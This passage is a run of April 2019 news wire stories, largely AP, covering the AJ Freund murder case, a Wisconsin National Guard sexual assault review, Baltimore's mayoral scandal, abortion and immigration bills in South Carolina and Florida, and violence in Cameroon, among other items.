approaches, an attempt to exclude everybody and just talk to the Taliban has alienated the government, has alienated the region, has alienated everybody else, and it achieved nothing. ... You cannot negotiate the future of Afghanistan with the Taliban. The Taliban represents only a segment of Afghan society, not all of it. You cannot exclude the government, you cannot exclude the other groups in Afghanistan." - THE U.S. ELECTIONS IN 2020: "Believe me, we have not invested in a 2020 Democratic victory. Some people believe that we are looking for a Democratic victory. Democratic governments have been as hostile to Iran as Republican governments. ... It's just waiting for the White House to become rational, with a Republican or a Democrat." Iran's Foreign Minister Mohammad Javad Zarif speaks at the Asia Society, in New York, Wednesday, April 24, 2019. (AP Photo/Richard Drew) MADISON, Wis. (AP) - Federal military officials have agreed to review how the Wisconsin National Guard handles sexual assault in the wake of multiple alleged incidents dating back to 2002, Gov. Tony Evers and U.S. Sen. Tammy Baldwin said Wednesday. Evers and Baldwin, both Democrats, asked the National Guard Bureau's Office of Complex Investigations in Washington, D.C., in March to review the Wisconsin Guard's sexual assault and harassment reporting procedures, investigative protocols and accountability measures. The governor and the senator issued a joint statement Wednesday morning announcing that OCI will conduct "a thorough, independent assessment" that could take several months. "The bottom line is that our service members deserve to work in an environment that's free of sexual assault and harassment and the fear they might face retaliation for reporting," Evers said. An OCI team will review Wisconsin Guard policies and practices, conduct on-site reviews at all major Wisconsin Guard locations, review sexual assault and harassment allegations and provide recommendations on how to prevent incidents, Evers and Baldwin said in a statement. They also asked any Wisconsin Guard members with concerns or complaints about sexual harassment and assault to email the OCI team at NationalGuardAssessment@wisconsin.gov. "The men and women of the Wisconsin National Guard deserve an environment free of sexual harassment and assault and I believe this impartial outside review of past actions, current protocols, and future improvements is the best way to meet that objective," Baldwin said. National Guard Bureau spokeswoman April Cunningham had no immediate comment. Wisconsin National Guard spokesman Capt. Joe Trovato said in an email to The Associated Press that the Guard welcomes the review. "The Wisconsin National Guard takes all allegations of sexual assault, harassment or misconduct seriously, and eliminating it from our ranks has long been one of our organization's top priorities," Trovato said. "We consistently communicate across all levels of our organization that sexual misconduct has no place in our ranks." The U.S. Air Force is already investigating allegations of sexual assault and harassment within a Wisconsin Air National Guard security unit. Baldwin requested that probe in November after a master sergeant in the unit, Jay Ellis, told her office that he knew of six incidents between 2002 and 2016 and high-ranking officers had done little to address them. Wisconsin Guard officials told reporters during a question-and-answer session earlier this month that they received 52 reports of sexual assault between 2013 and 2017, with more than half related to military service. Guard investigators substantiated that 10 of the reports of incidents related to military service, meaning they felt there was enough evidence to continue down the path toward internal punishment. The Guard has launched two court-martials for sexual assault since 2013. Trovato said in an email to the AP on Tuesday that one of the proceedings concluded in 2015 with a private sentenced to 30 days in jail and receiving a bad-conduct discharge for failing to obey orders, cruelty and maltreatment. The other involves a staff sergeant charged with sexual assault and indecent exposure, maltreatment, indecent conduct, disobeying a superior officer and making a false statement. That proceeding is still ongoing. He didn't have any further details from the two cases. The remaining eight cases have been referred for "administrative action" that could include demotions, reprimands and discharges, Trovato said during the question-and-answer session. Wisconsin Guard officials said during that session that sexual assault has no place in the Guard's ranks. They noted that victims can request confidentiality when they report incidents; in such reports the identity of everyone involved remains secret. Victims can get counseling services and the Wisconsin Guard's leader, Adj. Gen. Donald Dunbar, is notified but no investigation begins. They noted that victims can seek expedited transfers away from perpetrators within the same unit and commanders stress to their soldiers and airmen to conduct themselves professionally. Evers said in an interview Wednesday that despite his call for a review he still stands by Dunbar, who has served as the Guard's top commander since then-Gov. Jim Doyle appointed him to the position in 2007. "I'm not questioning his leadership at all," Evers said of Dunbar. "This study is not about individual personnel. It is all about making sure the climate and the procedures are in place to make National Guard members are safe and feel comfortable working." ___ Follow Todd Richmond on Twitter at https://twitter.com/trichmond1 BALTIMORE (AP) - When Bernard "Jack" Young automatically became Baltimore's acting mayor earlier this month, he emphasized that he'd act only as a "placeholder" for the elected mayor as she departed on a leave of absence amid an accelerating scandal focused on her self-published children's books. But it's been more than three weeks since embattled Mayor Catherine Pugh slipped out of sight, and it appears the veteran City Council leader is settling in for a lengthy stint as Baltimore's No. 1 official. At a Wednesday news conference, Young suggested that the increasingly politically isolated Pugh could be in a no-win situation. "Because of all of the groundswell of asking her to resign, I mean, it could be devastating for her. I wouldn't want to see her feelings hurt," Young said, speculating on the ramifications of any potential return by his fellow Democrat. Citing deteriorating health from a pneumonia bout, Pugh announced her departure on the same day Maryland's governor asked for a criminal investigation of the lucrative sales of her "Healthy Holly" books to customers, including a major hospital network she once helped oversee as a state lawmaker and a health plan that does business with the city. The sales earned about $800,000 for her limited liability company. Since then, the entire lineup of the current City Council, all Baltimore lawmakers in Maryland's House of Delegates, the influential Greater Baltimore Committee business group and others have called on the first-term mayor to resign. Maryland's chief accountant called Pugh's "self-dealing" arrangements to sell her books as "brazen, cartoonish corruption." But even as Young said he would "hate to see what would the response be" to Pugh's possible reappearance in the mayor's office, he also stressed that the decision is up to her and there's nothing in the City Charter to force her out amid investigations. Still, he's been very busy making his influence felt amid the gathering scandal, issuing numerous orders, making abundant appearances and switching out personnel. FILE - In a Tuesday, April 2, 2019 file photo, acting Baltimore Mayor Jack Young talks to reporters after meeting with state senators who represent Baltimore in Annapolis. When Bernard "Jack" Young automatically became Baltimore's acting mayor on April 1, he emphasized that he'd act only as a "placeholder" for the embattled elected mayor. But it's been more than three weeks since Mayor Catherine Pugh slipped out of sight on an indefinite leave of absence, and it appears Young is settling in for a lengthy stint as Baltimore's No. 1 official. (AP Photo/Brian Witte, File) On Wednesday, Young announced that he had fired three aides with close ties to Pugh, while three others remain on paid leave. One of the fired aides is Afra Vance-White, the city's director of external relations and co-owner, along with Pugh and City Comptroller Joan Pratt, of a recently shuttered clothing shop, 2 Chic Boutique. Members of Pugh's communications staff have said repeatedly that she intends to return to City Hall when she is feeling better, but have declined to provide any timetable. As multiple investigations into the mayor's books ramp up, political analysts say Pugh's biggest bargaining chip at the negotiating table is her refusal to resign in a city accustomed to a high-drama, insular political culture. Pugh came to office in late 2016 after edging out ex-Mayor Sheila Dixon, who spent much of her tenure fighting corruption charges before being forced to depart office in 2010 as part of a plea deal connected to the misappropriation of about $500 in gift cards meant for needy families. While the accusations have certainly cast a shadow over Pugh, she has not been indicted for any crime, and it is unclear how long a criminal investigation will take. Earlier this month, her lawyer, Steven Silverman, said the mayor looks forward to cooperating with the state prosecutor's probe and will provide "as much information as possible to put this matter to rest." Pugh would certainly face a bruising 2020 Democratic primary if she were to return and run for reelection. Many political observers believe she would never again be able to wield power effectively due to the scandal. "I call it juvenile because it's so unbelievably unaware, apparently, of the damage that this was going to wreak on her career," said Maryland Comptroller Peter Franchot. ___ Follow McFadden on Twitter: https://twitter.com/dmcfadd COLUMBIA, S.C. (AP) - The South Carolina House gave near final approval to a bill Wednesday that would ban almost all abortions once a fetal heartbeat can be detected, but the measure may have little chance of clearing the Senate. The House voted 70-31 to give the bill second reading after more than five hours of debate. One last routine vote could take place as early as Thursday before the bill heads to the Senate. Other legislatures in Kentucky, Ohio and Georgia have passed fetal heartbeat abortion bills this year. But in South Carolina, even if the bill passes the House, it would need a two-thirds vote from the less conservative Senate because it had missed a legislative deadline. And time was running short, with only seven working days remaining in the legislative session after Wednesday. Supporters called for final House and Senate passage, saying all life should be considered sacred once a heartbeat can be detected. But much of Wednesday's debate arose from opposition by Democratic lawmakers, who questioned the motives of debating a bill that would likely face an immediate legal challenge and be ruled unconstitutional by the courts. Democratic Rep. David Mack said lawmakers take up proposed abortion restrictions year after year and need to refrain from passing laws concerning women's bodies. "This waste of time is just very sickening to me," the North Charleston lawmaker said. The bill, drafted by Republican Rep. John McCravy, would require medical professionals to test for a detectable heartbeat before any abortion is performed. McCravy said that if a heartbeat is detected, the bill would require the medical professional to ask the mother if she would like to hear the heartbeat and then advise the woman of the chances of her successfully carrying the pregnancy to full term. A heartbeat typically can be detected around the sixth week of pregnancy, so early that many women are sometimes unaware they are pregnant. "We're forcing women from across the state of South Carolina to fight the issue of time," Democratic Rep. Justin Bamberg said. Bamberg proposed a number of amendments to filibuster the legislation, a similar strategy he took during a contentious debate during a House committee meeting earlier this month. They all have failed. The Bamberg Democrat's proposals included allowing registered nurses, physician assistance and telemedicine providers to perform abortions. Other provisions would have created a fund to pay for women to travel outside of South Carolina to get an abortion, as well as a fund for physicians to be trained on using the ultrasound to detect the heartbeat. "We can be so comfortable here in Columbia dictating what women can and cannot do with their bodies and there's never a discussion of how this can impact their pocketbook or checkbook," Bamberg said. Bamberg ultimately withdrew all his proposed amendments, saying he did so out of respect to the leadership and their colleagues after what they deemed inevitable House approval of the measure. "It's frustrating to come to Columbia every year and every single year we have to take up something regarding abortion," Bamberg said. "Let's make sure we're doing every single thing possible to invest in, fight for the children that are already here, that are suffering or sick and dying, and that's all I ask for the body." The only amendment to pass after several hours of debate allowed for exemptions to the ban in cases of rape or incest, proposed by Republican Rep. Nancy Mace of Charleston. McCravy opposed that amendment to his bill. "The question is whether another life should be taken because of a bad act," McCravy told fellow lawmakers. "Vote your conscious on this amendment." While Democratic lawmakers supported expanding the exceptions, they criticized language in the proposal that would require physicians to use their judgment to determine whether it was their "belief" that the pregnancy was the result of rape or incest. They said they wondered why a doctor would not trust a woman about that kind of trauma. "I apologize to all the women in South Carolina who have been raped, who have been subjected to incest," Democrat John King of Rock Hill said. He protested what he called the actions of "the men who sit in these chambers here and across the hall who feel it is in our interest to make decisions for the women of South Carolina and especially for women who have been raped or subject to incest." CHEROKEE, Iowa (AP) - Iowa Republican Steve King says the criticism he has faced from fellow members of Congress over his offensive remarks gives him "better insight" into what Jesus Christ experienced when he was persecuted for his beliefs. King was attending a town hall meeting Tuesday in his home district in northwest Iowa when someone attending voiced concern about Christianity being persecuted in the U.S., the Sioux City Journal reported . King answered, in part, by drawing a comparison to facing his "accusers" on the House floor. "When I have to step down to the floor of the House of Representatives, and look up at those 400-and-some accusers ... you know we just passed through Easter and Christ's passion ... and I have better insight into what he went through for us partly because of that experience," King said. The House voted 421-1 in January to rebuke King for remarks he made to The New York Times in which he asked why the terms white nationalist and white supremacist came to be considered offensive. King was also stripped of his committee assignments for two years. King did not initially deny making the remarks to the Times and even cast a vote in support of his public rebuke. He has since said the Times mischaracterized his comments and on Tuesday said the newspaper had misquoted him. The controversy sparked numerous calls for King's resignation, including the editorial boards of at least four daily newspapers with circulations in his district. FILE - In this Jan. 26, 2019 file photo, Rep. Steve King, R-Iowa, speaks during a town hall meeting, in Primghar, Iowa. King says the criticism he has faced from fellow members of Congress over his offensive remarks gives him "better insight" into what Jesus Christ experienced when he was persecuted for his beliefs. King was attending a town hall meeting Tuesday, April 23 in his home district in northeast Iowa when someone attending voiced concern about Christianity being persecuted in the U.S. King answered by drawing a comparison to facing his "accusers" on the House floor. (AP Photo/Charlie Neibergall File) King has long been known for making caustic comments, especially on issues related to race and immigration. Shortly before his November re-election - the closest contest he has faced in his nine terms - the Washington Post reported that King met in Austria with the far-right Freedom Party, which has Nazi ties. King also has called for an electrified fence on the U.S. southern border, defended racial profiling as a needed component of law enforcement and has suggested white people made more contributions to civilization than other groups. ___ Information from: Sioux City Journal, http://www.siouxcityjournal.com CRYSTAL LAKE, Ill. (AP) - The Latest on the search for a missing 5-year-old Illinois boy (all times local): 3 p.m. Police say the body of a 5-year-old Illinois boy whose parents reported him missing last week was found buried in a shallow grave and wrapped in plastic in a rural area a few miles from the family's home. Crystal Lake police Chief James Black said during a news conference that investigators found what they believe to be the remains of Andrew "AJ" Freund early Wednesday in the neighboring city of Woodstock. Efforts are underway to confirm it is AJ's body. He says they were led to the body after interviewing AJ's parents overnight and presenting them with cellphone evidence. The parents, Andrew Freund Sr. and JoAnn Cunningham, each face five counts of first-degree murder and other charges. In this April 24, 2019 is a booking photo provided by the Crystal Lake Police Department of Andrew Freund Sr, who along with his wife Joann Cunningham, have been charged with murder and other charges in the death of their missing son Andrew "AJ" Freund. Authorities say they have found what they believe is the body of the 5-year-old boy who went missing last week. Crystal Lake police Chief James Black said at a news conference Wednesday that police dug up what they believe is Freund's body in a field and that it was wrapped in plastic. (Crystal Lake Police Department via AP) Authorities say they reported him missing last Thursday and told officers they last saw him at bedtime the night before. ___ 2 p.m. Authorities say they have found what they believe is the body of a 5-year-old Illinois boy who went missing last week, and that his parents have been charged with murder in his death. Crystal Lake police Chief James Black said at a news conference Wednesday that police dug up what they believe is Andrew "AJ" Freund's body in a field and that it was wrapped in plastic. He says AJ's parents, Andrew Freund Sr. and JoAnn Cunningham, face murder and other charges in the boy's death. Authorities say the boys' parents reported him missing last Thursday and told officers they last saw him at bedtime the night before. ___ 12:30 p.m. Officers have removed several items from the home of an Illinois couple whose 5-year-old son has been missing for nearly a week. Photos and video show the officers leaving the Crystal Lake home of Andrew Freund Sr. and JoAnn Cunningham on Wednesday with a shovel, mattress, brown paper bags and plastic storage tub. Searchers have been scouring the area for the couple's missing son, Andrew "AJ" Freund. Authorities say the boys' parents reported him missing last Thursday and told officers they last saw him at bedtime the night before. Police say Cunningham has been refusing to cooperate with detectives. They say they don't believe the boy was abducted and that he didn't leave the home on foot. State child welfare officials have taken custody of the couple's 4-year-old son, Parker. Authorities plan to give an update on the investigation at a 1 p.m. news conference. ___ 9:25 a.m. The FBI and police in the Chicago suburb of Crystal Lake are planning a news conference as they search for a 5-year-old boy who has been missing for nearly a week. The Crystal Lake Police Department says the news conference will take place at noon on Wednesday at City Hall. The agencies have been searching for Andrew "AJ" Freund since his parents reported him missing last Thursday. The couple said they saw him at bedtime the night before and couldn't find him in the morning. Police searched for AJ in a park on Tuesday and said they planned to use sonar to search ponds in the community, which is about 50 miles (80 kilometers) northwest of Chicago. Authorities say they don't believe the boy was abducted or wandered away. In this April 24, 2019 booking photo provided by the Crystal Lake Police Department of Joann Cunningham who along with her husband Andrew Freund Sr. have been charged with murder and other charges in the death of their missing son Andrew "AJ" Freund. Authorities say they have found what they believe is the body of the 5-year-old boy who went missing last week. Crystal Lake police Chief James Black said at a news conference Wednesday that police dug up what they believe is Freund's body in a field and that it was wrapped in plastic. (Crystal Lake Police Department via AP) Crystal Lake, Ill., Police Chief James Black, left, and FBI Special Agent Jeffrey Sallet announce during a press conference Wednesday that the parents of Andrew "AJ" Freund are responsible for his death, Wednesday, April 24, 2019. (Paul Valade/Daily Herald via AP) This undated photo provided by the Crystal Lake, Illinois Police Department shows Andrew "AJ" Freund. Crystal Lake police say the missing boy's Freund's parents last saw him about 9 p.m. Wednesday April 17, 2019. Police say Andrew's parents reported him missing when they woke up Thursday and couldn't find him in their home. Police in the Chicago suburb of Crystal Lake say an FBI team that specializes in missing children is helping them search for the 5-year-old boy. (Crystal Lake Police Department via AP) McHenry County Sheriff's officers and other law enforcement search the area of Route 176 and Dean Street south of Woodstock, Ill., for clues in the disappearance of 5-year-old missing boy Andrew "AJ" Freund, Wednesday, April 24, 2019. (Brian Hill/Daily Herald via AP) A makeshift memorial grows Monday, April 22, 2019 outside the Dole Avenue home of Andrew "AJ" Freund, age 5, in Crystal Lake, Ill. Police and the FBI continue their investigation into the missing boy. (Paul Valade/Daily Herald via AP) A blood hound K-9 officer and his handler sniffs the ground in front of the home of 5-year-old Andrew "AJ" Freund on Thursday, April 18, 2019 in Crystal Lake, Ill. Crystal Lake police said Friday that they have no indication Andrew "AJ" Freund was abducted. They say canine units only picked up the boy's scent within the residence, which indicates Andrew didn't leave on foot. Police say Andrew's parents last saw him about 9 p.m. Wednesday and reported him missing Thursday when they woke up and couldn't find him in the home. (Stacey Wescott/Chicago Tribune via AP) JoAnn Cunningham, mother of missing 5-year-old child Andrew "AJ" Freund, stands with her attorney George Killis outside of the Freund home as he speaks on her behalf and pleads with the public to help find AJ on Friday, April 19, 2019 in Crystal Lake, Ill. Crystal Lake police said Friday that they have no indication Andrew "AJ" Freund was abducted. They say canine units only picked up the boy's scent within the residence, which indicates Andrew didn't leave on foot. Police say Andrew's parents last saw him about 9 p.m. Wednesday and reported him missing Thursday when they woke up and couldn't find him in the home. (Stacey Wescott/Chicago Tribune via AP) Andrew Freund Sr., the father of the missing 5-year-old Andrew "AJ" Freund, walks near his home on Dole Avenue in Crystal Lake, Ill. on Friday, April 19, 2019 as members of the media try to speak with him. Police are investigating the boy's disappearance and are focusing their attention on the boy's home. (John Starks/Daily Herald via AP) Law enforcement personnel remove items from the Freund home in Crystal Lake, Ill., as the investigation into the case of missing 5-year-old Andrew "AJ" Freund continues on Wednesday, April 24, 2019. (Robert McCoppin/Chicago Tribune via AP) McHenry County Sheriff's officers and other law enforcement search the area of Route 176 and Dean Street with a drone south of Woodstock, Ill., for clues in the disappearance of 5-year-old missing boy Andrew "AJ" Freund, Wednesday, April 24, 2019. (Brian Hill/Daily Herald via AP) Law enforcement personnel remove items from the Freund home in Crystal Lake, Ill., as the investigation into the case of missing 5-year-old Andrew "AJ" Freund continues on Wednesday, April 24, 2019. (Robert McCoppin/Chicago Tribune via AP) McHenry County Sheriff's officers and other law enforcement search the area of Route 176 and Dean Street south of Woodstock, Ill.,, for clues in the disappearance of 5-year-old missing boy Andrew "AJ" Freund, Wednesday, April 24, 2019. (Brian Hill/Daily Herald via AP) McHenry County Sheriff's officer search the area of Route 176 and Dean Street south of Woodstock, Ill., for clues in the disappearance of 5-year-old missing boy Andrew "AJ" Freund, Wednesday, April 24, 2019. (Brian Hill/Daily Herald via AP) Officials gather near Gayle Drive near Woodstock, Ill., in their search for 5-year-old Andrew "AJ" Freund, who has been missing for nearly a week, Wednesday April 24, 2019. (Stacey Wescott/Chicago Tribune via AP) Long time Crystal Lake resident Danielle Hein, left, wipes away tears after sitting in a press conference at the Crystal Lake village hall where officials announced charges against the parents of Andrew "AJ" Freund for his death, Wednesday, April 24, 2019. (Paul Valade/Daily Herald via AP) FBI Special Agent Jeffrey Sallet speaks during a Crystal Lake, Ill. press conference Wednesday, April 24, 2019 about the parents of Andrew "AJ" Freund being charged for his death. (Paul Valade/Daily Herald via AP) FRANKFORT, Ky. (AP) - An ex-state employee is suing Kentucky Gov. Matt Bevin, claiming she was fired due to her ties to a group that supported teacher sickouts that shut down school districts to protest GOP-backed legislation. The federal suit filed Wednesday alleges Charissa "Chris" Cooke's First Amendment rights were violated. "Cooke's termination appears to be part of the defendants' efforts to punish and intimidate individuals who oppose their policy positions," Cooke's suit says. It seeks unspecified compensatory and punitive damages as well as reinstatement to her job as a paralegal for an administrative law judge who oversees cases involving workers' compensation claims. Defendants include Bevin, a Republican, and the head of the state Labor Cabinet. Bevin's office and the labor agency didn't immediately respond to emails seeking comment. Cooke's lawsuit says she's a registered Republican who voted for Bevin, who is seeking reelection this year. Kentucky teachers and their supporters have gathered for large rallies at the state Capitol to protest pension and education proposals in the GOP-dominated legislature. Many teachers coordinated to use sick days to attend the rallies, forcing some school districts to close. Bevin has harshly criticized the tactics. Last year on one day of mass closings, he asserted without evidence that a child left home alone had been sexually assaulted somewhere in Kentucky. He later apologized. This year, when the state's largest school district was forced to cancel classes, Bevin responded with a video on his Twitter page with the caption "SICK OF 'SICKOUTS,'" where he accused teachers of walking out on students. FILE - In this Feb. 28, 2019 file photo, teachers sit in a hearing room to protest a bill that would change how individuals are nominated to the Kentucky teachers retirement systems board of trustees, in Frankfort, Ky. Kentucky Gov. Matt Bevin is being sued by an ex-state employee who claims she was fired due to her ties to a group that supported teacher sickouts that shut down school districts to protest GOP-backed legislation. (AP Photo/Bryan Woolston, File) Cooke's lawsuit says she joined the public education advocacy group KY 120 United last year and became one of the group's contacts in Carter County, where she lives. In late March, Cooke took compensatory time off to attend the last day of this year's legislative session in Frankfort, Kentucky, with other KY 120 advocates, her suit says. At the Capitol, she was directed to a station where visitors' photos were taken, it says. A security officer asked Cooke if she was a teacher, and she replied she was not, the suit says, but she then was asked if she was a state employee. When she responded "yes," the officer asked what department she worked for, it says. Cooke responded that she felt uncomfortable answering the question. A few days later, on April 3, she was fired from her job when two Labor Cabinet officials showed up at the administrative law judge's office in Ashland, Kentucky, the suit says. Cooke asked one of them if she was being fired because of her involvement with KY 120, the suit says. "The woman did not verbally answer, but made a gesture suggesting the answer was yes," it says. "It is reasonable to infer that Cooke was terminated as a result of her exercise of her constitutional rights of freedom of speech, peaceable assembly, and to petition the government on issues related to public education, teachers, and public employees," her suit says. Meanwhile, Bevin's administration recently sent subpoenas to several school districts seeking the names of teachers who might have used sick days that shut down schools as they attended statehouse rallies. The state labor agency has the authority to issue fines against public workers who engage in illegal work stoppages. The state's Democratic attorney general, Andy Beshear, has called for the subpoenas to be rescinded and threatened legal action if they are not. Beshear is seeking the Democratic nomination for governor in the state's primary next month. On Wednesday, state Labor Secretary David Dickerson replied to Beshear that, "I see no valid reason to overlook possible violations of Kentucky law." His letter to Beshear said it's early in the investigation and his agency has made no decision whether any violations occurred. "Make no mistake, I will do my legal duty for all the people of the Commonwealth," Dickerson's letter said. "What I will not do is set aside my obligations to uphold well-established Kentucky law because it might not sit well with you." Dickerson is among the defendants in Cooke's lawsuit. Beshear responded that he won't allow Republican Gov. Matt Bevin "to bully our teachers and fine them up to $1,000 a day." Peter Henry Barlerin, Ambassadeur des Etats-Unis au Cameroun Archives The United States Embassy in Yaounde has issued a statement dated April 26, 2019 condemning the beheading of a gendarme in Muyuka, South West Region and another member of Cameroon's defense forces in Bamenda, North West Region. "The U.S. Embassy deplores the torture, dismemberment, and beheading of a gendarme in the South West Region of Cameroon. We also condemn the reported beheading of a Cameroonian soldier in Bamenda, North West Region. We extend our condolences to their families," the statement read in part. The US Embassy used the press release to send out barking orders for those behind the acts to be brought to book but at the same time warning against excesses and the targeting of civilians by the security and defense forces. "We call on anyone with information that could help to identify the perpetrators of these acts to assist lawful authorities and to support a fair and transparent investigation and trial," the US says, adding that, "We urge restraint by police and security forces. Retaliation against these provocations would endanger the civil populace, and will only feed a cycle of violence." In their characteristic toothless bulldog style, they called for a broad-based dialogue to end the cycle of violence but failed to state how much they are putting in to aid the dialogue process. "The violence must stop," they thundered, furthering that, "Now more than ever, we call on both sides to enter into a broad-based dialogue without preconditions." A popular outcry and condemnation followed the discovery of the body parts of a young soldier of the Cameroon Defense Forces in Muyuka Wednesday April 24, 2019. Gendarme Adam Assana was reportedly picked up Tuesday by unknown armed men and was found decapitated and parts of his body littered on the highway. Pictures showed the head and limbs of Adam Assana on the tarmac with a stick forced into his mouth. It is not known where the body of the deceased soldier is, given that most photos only show the head and limbs. No one has claimed responsibility for the act. On Thursday, a human head, allegedly that of a soldier, was dropped at the Hospital Roundabout neighbourhood in Bamenda, provoking a retaliation. Running gun battles were reported. A retired soldier, said to go by the name Arthur Banka Tah, was also reportedly slain and his body dismembered in Wum April 24, 2019. Jan Egeland, Secretary General of the Norwegian Refugee Council has now said what is going on in Cameroon's North West and South West regions is a war that has given birth to the largest humanitarian emergency in recent years. Security and Defense Forces have been battling armed men fighting for the independence of a country they call Ambazonia, geographically Cameroon's North West and South West regions. NEW YORK (AP) - Britney Spears says that though her family has been stressed lately, she's doing OK. The pop star on Tuesday posted a video to her Instagram, telling her fans: "Just checking in with all of you who are concerned about me. All is well. My family has been going through a lot of stress and anxiety lately, so I just needed time to deal. Don't worry. I'll be back very soon." In January, she said she was putting her career on indefinite hiatus for the sake of her father, who is sick. The launch run of her "Britney: Domination" residency in Las Vegas was put on hold until further notice. Earlier this month, Spears said she had decided to focus on self-care as she goes through a rough stretch. In the caption of Tuesday's video post, Spears wrote that she "wanted to say hi, because things that are being said have just gotten out of control!" "There's rumors, death threats to my family and my team, and just so many things crazy things being said. ... Don't believe everything you read and hear," the 37-year-old wrote. She posted a new video of herself working out and dancing Wednesday on Instagram, writing: "Who knew stress would be a great 5 pound weight loss. Yay for me." HOUSTON (AP) - Four Texas prison guards have been fired and two others resigned over selfies accompanied by insensitive comments posted on social media, a Texas Department of Criminal Justice official said Wednesday. The Houston Chronicle reported that the guards were taking part in a #FeelingCute trend in which uniformed workers post selfies and describe what they'll do during their shifts. Some off-color comments prompted complaints from inmates' relatives. Department spokesman Jeremy Desel confirmed to The Associated Press that the dismissals and resignations are related to the postings but didn't provide details. In one post that appeared under the #FeelingCute hashtag earlier this month, a woman wearing a Texas prison uniform said: "Feeling cute, might just gas some inmates today, IDK." IDK stands for "I don't know." It's unclear if the woman featured in the selfie is among those fired or who resigned, or even if the woman in the photo is the person who posted the comment. The person who posted the selfie didn't respond to the Chronicle's request for comment. Texas Department of Criminal Justice executive director Bryan Collier said on Facebook that the agency reviewed the posting of "inappropriate photographs and comments on social media." "These officers in no way represent the thousands of TDCJ employees who go to work every day taking public safety seriously in all ways," Collier said. Michele Deitch, an attorney and criminal justice expert who teaches at University of Texas-Austin's LBJ School of Public Affairs, said she is heartened by the department's swift action but that the posts raise questions about why some staff believe such behavior might be acceptable. "This is just one more example of why we need independent oversight to look at cultural issues within the facilities as well as structural issues and policy matters that can affect the treatment of prisoners," Deitch said. Many of the #FeelingCute postings that began to appear in early April are inoffensive, but municipal and other workers in Texas and elsewhere have received criticism for ones that make light of victimizing people. Police in the Texas Gulf Coast town of Aransas Pass joked about pulling over motorists, the newspaper reported, and a Georgia water worker posted about cutting off service to customers. ATLANTA (AP) - The Latest on the opioid epidemic (all times local): 2:15 p.m. President Donald Trump says his administration is using every resource it has to fight the nation's opioid crisis. He says "nothing is going to stop" him from wiping it out. He says his administration has secured $6 billion in federal dollars over two years to fight opioid abuse, but the epidemic won't be solved overnight. Trump and first lady Melania Trump are speaking at a conference in Atlanta for elected leaders and health and law enforcement officials. Opioid abuse claimed nearly 48,000 American lives in 2017. The number of prescriptions for opioid painkillers filled in the U.S. fell substantially in 2017, but it's unclear if the opioid problem is declining President Donald Trump speaks to the "Rx Drug Abuse and Heroin Summit," Wednesday, April 24, 2019, in Atlanta. (AP Photo/Evan Vucci) ___ 11:25 a.m. President Donald Trump is claiming credit for progress in battling the opioid epidemic. But there's a debate over whether the crisis has peaked and what his administration has accomplished. The president and first lady Melania Trump are both speaking at a conference in Atlanta for elected leaders and health and law enforcement officials. The president has declared opioids a national health emergency. The first lady focuses on the issue in her national "Be Best" child welfare campaign. Opioid abuse claimed a record of nearly 48,000 American lives in 2017. An estimated 2 million people are addicted to the drugs, which include both legal prescription President Donald Trump and first lady Melania Trump arrive to speak at the "Rx Drug Abuse and Heroin Summit," Wednesday, April 24, 2019, in Atlanta. (AP Photo/Evan Vucci) CONCORD, N.H. (AP) - A secret list of more than 260 police officers in New Hampshire who have committed misconduct such as lying or excessive force must be made public, a court has ruled. Hillsborough Superior Court Judge Charles Temple agreed Tuesday with seven media outlets and the American Civil Liberties Union of New Hampshire that releasing the list is in the public interest. The ACLU said the list should be released immediately. But the list wasn't made public Wednesday, pending a possible appeal to the state Supreme Court. Temple rejected the state Department of Justice's argument that the list should remain confidential under a law pertaining to personnel files and that the list was exempt from the state's right-to-know law. The department previously produced a list in January that redacted any personal information but did list the officer's misconduct. The allegations included misuse of authority, falsification of records, excessive force and receiving stolen property but many were only described as truthfulness or credibility. "It's the right result, the right result," Gilles Bissonnette, the ACLU's legal director, said. "We're really excited about the decision. Frankly, it's a historic victory for transparency and accountability. This list should always have been made available to the public." Solicitor General Daniel Will said in a statement that his office was reviewing the order and "will make a determination about next steps consistent with court procedure." Several media companies include The Telegraph of Nashua, Newspapers of New England Inc. and Seacoast Newspapers, were part of the lawsuit. "Today's court ruling is not a victory for just newspapers and journalists. It is a win for the public, because the public has a right to know if there has been misconduct that could potentially impact the community at large," Telegraph Publisher and General Manager Heather Goodwin Henline said in a statement. "We never considered this to be personnel information and subject to exclusion. The court also agreed that this is vital information critical to public safety and public trust." Known as the Exculpatory Evidence Schedule, the list is maintained by the department and contains names of officers across New Hampshire who committed wrongdoing that could raise questions about their credibility as witnesses in criminal cases. Should they be set to testify in a case, a prosecutor is supposed to alert the defense team. But with the list secret, Bissonnette said it was unclear if that always happened. "We don't know if the system is working because the system works completely in secret," Bissonnette said. "There is no ability for defense lawyers to vet whether or not prosecutors are complying with their obligations. We have good reason to believe the system isn't working." The fight over the New Hampshire list is a debate playing out across the country. Similar lists are kept by law enforcement agencies in many states but, because they are secret, no one can say for sure how many exist. Last year, Philadelphia District Attorney's Office provided a list of dozens of problem officers to the Philadelphia Defender Association after a court ordered the list should be released. The list was obtained by The Philadelphia Inquirer and the Philadelphia Daily News. A similar lawsuit is pending for the release of a list kept by New York City's district attorneys. TALLAHASSEE, Fla. (AP) - The Florida House passed a high-profile Republican bill Wednesday requiring local law enforcement agencies to cooperate with federal immigration authorities and banning so-called "sanctuary city" policies that shield immigrants who are arrested. After hours of debate over two days, the GOP-led House voted 69-47 largely along party lines for the measure, sending it over to the Senate where a similar bill is pending. Florida doesn't currently have any formal "sanctuary cities" like those in other states. The bill sponsored by GOP Rep. Cord Byrd of Jacksonville Beach would ban those policies and require local authorities to honor detainer requests from U.S. Immigration and Customs Enforcement that can lead to a person's deportation. Byrd and other Republicans cast it as a law-and-order measure that is aimed at generating respect for U.S. immigration laws. "We welcome you. But we ask one simple thing: we ask that you follow our laws and our rules," Byrd said. The bill prompted the American Civil Liberties Union to warn immigrants against traveling to Florida because of detention risks and triggered protests around the state. Democrats failed in attempts to weaken the bill or create exceptions, accusing GOP sponsors of persecuting immigrants for political gain in an era when President Donald Trump has made an immigration crackdown a cornerstone of his administration. Rep. Cord Byrd, R- Neptune Beach, makes his closing statement on an immigration bill during session Wednesday April 24, 2019, in Tallahassee, Fla. The Florida House has passed a high-profile Republican bill requiring local law enforcement agencies to cooperate with federal immigration authorities and banning so-called "sanctuary city" policies that shield immigrants who are arrested. (AP Photo/Steve Cannon) Many Democrats, such as Rep. Dotie Joseph of North Miami, quoted passages from the Bible about how to treat foreigners and welcome immigrants. "We are taught to love the foreigner in our land. We're not supposed to mistreat or oppress the foreigner among us," said Joseph, who is Haitian American. "Immigrants do not come here to terrorize or to make this place a horrible place. They come here because this is the land of opportunity," added 